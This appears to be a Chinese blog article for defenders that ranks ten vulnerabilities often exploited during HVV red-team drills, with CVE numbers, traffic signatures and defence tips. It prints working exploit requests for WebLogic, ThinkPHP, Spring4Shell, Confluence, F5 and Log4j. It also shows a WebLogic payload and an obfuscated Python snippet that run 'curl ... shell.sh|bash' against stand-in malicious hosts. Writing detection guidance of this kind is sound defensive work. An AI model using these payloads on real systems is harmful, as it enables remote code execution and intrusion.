当前位置: 首页 > news >正文

HVV期间,红队最爱打的漏洞Top 10:从告警日志看实战攻击手法(附CVE编号)

HVV期间红队高频攻击漏洞Top 10:从流量特征到防御实战

网络安全攻防演练(HVV)已成为检验企业安全防护能力的"试金石"。作为防守方,我们每天面对海量告警,但真正值得关注的往往是那些被红队反复利用的高危漏洞。本文将基于近期HVV实战数据,剖析攻击者最青睐的十大漏洞及其流量特征,帮助蓝队成员快速识别真实威胁。

1. WebLogic系列RCE漏洞集群

Oracle WebLogic Server作为企业级中间件,其历史漏洞几乎成为每年HVV的"保留节目"。从流量设备捕获的数据显示,以下三个漏洞利用频率最高:

  • CVE-2017-10271:通过WLS Security组件反序列化漏洞执行任意代码
  • CVE-2019-2725:WebService组件XMLDecoder反序列化漏洞
  • CVE-2020-14882:Console组件未授权访问+命令执行组合拳

典型攻击特征:

POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: target.com Content-Type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"><string>/bin/bash</string></void> <void index="1"><string>-c</string></void> <void index="2"><string>curl http://malicious.ip/shell.sh|bash</string></void> </array> <void method="start"/> </object> </java> </work:WorkContext> </soapenv:Header> </soapenv:Envelope>

防御建议:除及时打补丁外,建议在网络层限制/wls-wsat/*路径访问,并监控异常XML结构请求

2. Apache Shiro反序列化漏洞(CVE-2016-4437)

这个被称为Shiro-550的漏洞利用简单、影响广泛,在HVV中持续活跃。攻击者通过伪造RememberMe Cookie实现身份绕过和命令执行。

关键识别特征:

  • Cookie中包含rememberMe=deleteMe字段
  • 值长度异常(通常超过Base64编码后的正常长度)
  • 请求体可能包含AES/CBC/PKCS5Padding等加密算法关键词

流量示例:

GET /admin HTTP/1.1 Host: target.com Cookie: rememberMe=ek5qSk9PbU13T1RBNE1qQXlNak0zT0Rjek5qSk9PbU13T1RBNE1qQXlNak0zT0Rjek5qSk9PbU13...

3. ThinkPHP多版本RCE漏洞

ThinkPHP框架的多个历史版本存在严重漏洞,其中以下两个在攻击流量中最常见:

漏洞类型CVE编号利用特征
方法调用过滤不全包含/index.php?s=/的异常路由
反序列化漏洞CVE-2018-20062请求中包含__destruct等魔术方法

典型攻击报文:

POST /index.php?s=captcha HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

4. Log4j2远程代码执行(CVE-2021-44228)

尽管漏洞披露已久,但JNDI注入仍是红队常用手段。在HVV期间观测到多种变体利用方式:

  • 基础利用${jndi:ldap://malicious.ip/exp}
  • 绕过变种:使用${::-j}ndi等字符转义
  • 二次跳转:通过DNS查询确认漏洞存在后,再发起真实攻击

注意:攻击者常将恶意负载隐藏在User-Agent、X-Forwarded-For等头部字段中

5. Spring Framework漏洞组合拳

Spring相关漏洞在近年HVV中呈现爆发趋势,最危险的组合是:

  1. CVE-2022-22965(Spring4Shell):

    GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di HTTP/1.1
  2. CVE-2022-22963(Spring Cloud Function):

    curl -X POST http://target.com/functionRouter -H "spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec('calc')" --data-raw 'data'

6. Jenkins脚本控制台漏洞

持续集成平台Jenkins的以下漏洞常被用于内网横向移动:

  • CVE-2019-1003005(脚本安全沙箱绕过)
  • CVE-2020-2100(Groovy代码执行)

攻击特征:

  • 访问/script路径的POST请求
  • 请求体包含Groovy代码片段
  • 后续连接/jnlpJars/jenkins-cli.jar下载

7. F5 BIG-IP远程代码执行(CVE-2021-22986)

网络设备漏洞危害性极高,此漏洞利用特征明显:

POST /mgmt/tm/util/bash HTTP/1.1 Host: target.com Authorization: Basic [base64 creds] X-F5-Auth-Token: Content-Type: application/json {"command":"run","utilCmdArgs":"-c 'id'"}

8. Confluence OGNL注入(CVE-2022-26134)

Atlassian Confluence的未授权OGNL注入漏洞利用简单:

GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29%7D/ HTTP/1.1 Host: target.com

9. Windows NTLM中继攻击

虽然不是具体CVE,但基于NTLM的横向移动在HVV中占比极高:

  1. 通过Responder工具获取Net-NTLMv2哈希
  2. 使用Impacket进行中继攻击
  3. 利用PetitPotam等工具强制认证

防御关键:禁用LLMNR/NBT-NS、启用SMB签名

10. 云服务配置不当

越来越多的攻击针对云环境错误配置:

  • AWS S3桶公开可写
  • K8s Dashboard未授权访问
  • 阿里云RAM密钥泄露

典型攻击链:

1. 扫描公开云资源 2. 获取临时凭证 3. 创建后门IAM用户 4. 部署挖矿容器或数据窃取

在最近一次HVV中,我们观察到攻击者使用新型混淆技术绕过检测:

# 伪装的"正常"Python请求 import requests from base64 import b64decode as decode def get_data(url): return requests.post(url, headers={'User-Agent': 'Mozilla/5.0'}, data={'param': decode('Y3VybCBodHRwOi8vbWFsd2FyZS5pcC9zaGVsbC5zaCB8IGJhc2g=')} ).text

防守方需要建立多层防御体系:

  1. 实时流量分析:关注异常HTTP方法、特殊字符编码
  2. 日志关联:将漏洞利用尝试与后续可疑行为关联
  3. 威胁情报:订阅最新漏洞利用特征库
  4. 蜜罐诱捕:部署伪装服务消耗攻击者资源
http://www.zskr.cn/news/1425375.html

相关文章:

  • 如何优化Qwen2.5-14B-Instruct-GPTQ-Int8内存占用:3种部署策略对比
  • 5个实用技巧:如何高效使用猫抓浏览器资源嗅探扩展
  • 如何用MAA明日方舟助手实现游戏日常全自动化?新手配置与效率革命指南
  • Qwen2.5-7B-Instruct代码生成能力测试:从简单函数到复杂项目的完整评估
  • 从一道CTF题复盘:如何用PHP的GC回收机制(fast-destruct)绕过__wakeup魔术方法
  • 掌握AI编程核心:用CRISP原则写出高效提示词,让大模型精准生成代码
  • 避开WS2812B的时序坑:STM32F103C8T6用PWM+DMA驱动的实测避坑指南
  • 如何在Windows上使用ViGEmBus创建虚拟游戏控制器
  • AI可控性实战:编译规则引擎如何驯服大模型输出
  • 别再让3D模型和UI‘打架’了!手把手教你用Unity的Camera Stacking与RenderTexture打造高级状态界面(如实时头像/小地图)
  • 别再死记硬背了!用一张图+Python代码,彻底搞懂拉格朗日乘子法(附SVM应用实例)
  • 别再只会exclusion了!解决Cglib的BeanMap$Generator异常,试试Maven的dependencyManagement统一版本管理
  • 别再乱勾MicroLIB了!STM32串口打印printf的两种正确打开方式(附源码对比)
  • Windows Terminal终极指南:7个高效拖放技巧让你告别手动输入
  • 终极指南:简单三步让Mac触控板在Windows上完美工作
  • 电赛信号分析利器:避开STM32 FFT应用的三个典型误区(采样、点数、库函数)
  • Unity UI避坑指南:Toggle组件的这3个‘隐藏’属性,可能让你的项目翻车
  • 保姆级教程:在RK3566的Linux 4.19内核上,用GStreamer同时预览GC2093和GC2053摄像头画面
  • AI创新与监管平衡:构建敏捷治理框架的实践路径
  • 7种常见的多Agent协作架构模式全解析
  • AI搜索响应延迟<800ms,而传统搜索平均2.3s——揭秘LLM重排与向量检索的实时性突围(独家压测报告)
  • 3步搞定视频去重:Vidupe终极指南帮你彻底清理重复视频文件
  • 绝了!输入主题,这几款AI论文软件从摘要到致谢全搞定!
  • FlexNet许可证日期错误排查与修复指南
  • 避坑指南:UE5 GAS里配置GameplayEffect修改属性,这3个细节新手最易搞错
  • 软文营销媒体发稿行业规范化发展与企业品牌传播安全保障
  • 从3D NAND工艺选型聊起:为什么FG Cell坚持用更慢的Two Pass编程?
  • 别再纠结了!用DESeq2做RNA-Seq差异分析,为什么counts比TPM/FPKM更靠谱?
  • 告别Linux恐惧症:手把手教你用Windows子系统(WSL2)跑通WRF模式初体验
  • 猫抓浏览器扩展:轻松捕获网页视频音频资源的智能工具